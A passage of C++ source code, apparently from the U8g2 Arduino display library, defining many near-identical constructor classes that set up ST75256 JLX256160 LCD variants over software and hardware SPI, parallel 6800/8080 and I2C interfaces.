u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75256_JLX256160_ALT_1_6800 : public U8G2 { public: U8G2_ST75256_JLX256160_ALT_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_alt_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX256160_ALT_1_8080 : public U8G2 { public: U8G2_ST75256_JLX256160_ALT_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_alt_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX256160_2_4W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75256_JLX256160_2_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX256160_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX256160_2_3W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75256_JLX256160_2_3W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75256_JLX256160_2_6800 : public U8G2 { public: U8G2_ST75256_JLX256160_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX256160_2_8080 : public U8G2 { public: U8G2_ST75256_JLX256160_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX256160M_2_4W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160M_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160m_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75256_JLX256160M_2_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160M_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160m_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX256160M_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160M_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160m_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX256160M_2_3W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160M_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160m_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75256_JLX256160M_2_3W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160M_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160m_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75256_JLX256160M_2_6800 : public U8G2 { public: U8G2_ST75256_JLX256160M_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160m_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX256160M_2_8080 : public U8G2 { public: U8G2_ST75256_JLX256160M_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160m_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX256160_ALT_2_4W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160_ALT_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_alt_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75256_JLX256160_ALT_2_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160_ALT_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_alt_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX256160_ALT_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160_ALT_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_alt_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX256160_ALT_2_3W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160_ALT_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_alt_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75256_JLX256160_ALT_2_3W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160_ALT_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_alt_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75256_JLX256160_ALT_2_6800 : public U8G2 { public: U8G2_ST75256_JLX256160_ALT_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_alt_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX256160_ALT_2_8080 : public U8G2 { public: U8G2_ST75256_JLX256160_ALT_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_alt_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX256160_F_4W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75256_JLX256160_F_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX256160_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX256160_F_3W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75256_JLX256160_F_3W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75256_JLX256160_F_6800 : public U8G2 { public: U8G2_ST75256_JLX256160_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX256160_F_8080 : public U8G2 { public: U8G2_ST75256_JLX256160_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX256160M_F_4W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160M_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160m_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75256_JLX256160M_F_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160M_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160m_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX256160M_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160M_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160m_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX256160M_F_3W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160M_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160m_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75256_JLX256160M_F_3W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160M_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160m_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75256_JLX256160M_F_6800 : public U8G2 { public: U8G2_ST75256_JLX256160M_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160m_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX256160M_F_8080 : public U8G2 { public: U8G2_ST75256_JLX256160M_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160m_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX256160_ALT_F_4W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160_ALT_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_alt_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75256_JLX256160_ALT_F_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160_ALT_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_alt_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX256160_ALT_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160_ALT_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_alt_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX256160_ALT_F_3W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160_ALT_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_alt_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75256_JLX256160_ALT_F_3W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160_ALT_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_alt_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75256_JLX256160_ALT_F_6800 : public U8G2 { public: U8G2_ST75256_JLX256160_ALT_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_alt_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX256160_ALT_F_8080 : public U8G2 { public: U8G2_ST75256_JLX256160_ALT_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_alt_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX256160_1_SW_I2C : public U8G2 { public: U8G2_ST75256_JLX256160_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256160_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75256_JLX256160_1_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX256160_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256160_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75256_JLX256160_1_2ND_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX256160_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256160_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75256_JLX256160M_1_SW_I2C : public U8G2 { public: U8G2_ST75256_JLX256160M_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256160m_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75256_JLX256160M_1_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX256160M_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256160m_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75256_JLX256160M_1_2ND_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX256160M_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256160m_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75256_JLX256160_ALT_1_SW_I2C : public U8G2 { public: U8G2_ST75256_JLX256160_ALT_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256160_alt_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75256_JLX256160_ALT_1_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX256160_ALT_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256160_alt_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75256_JLX256160_ALT_1_2ND_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX256160_ALT_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256160_alt_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75256_JLX256160_2_SW_I2C : public U8G2 { public: U8G2_ST75256_JLX256160_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256160_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75256_JLX256160_2_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX256160_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256160_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75256_JLX256160_2_2ND_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX256160_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256160_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75256_JLX256160M_2_SW_I2C : public U8G2 { public: U8G2_ST75256_JLX256160M_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256160m_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, 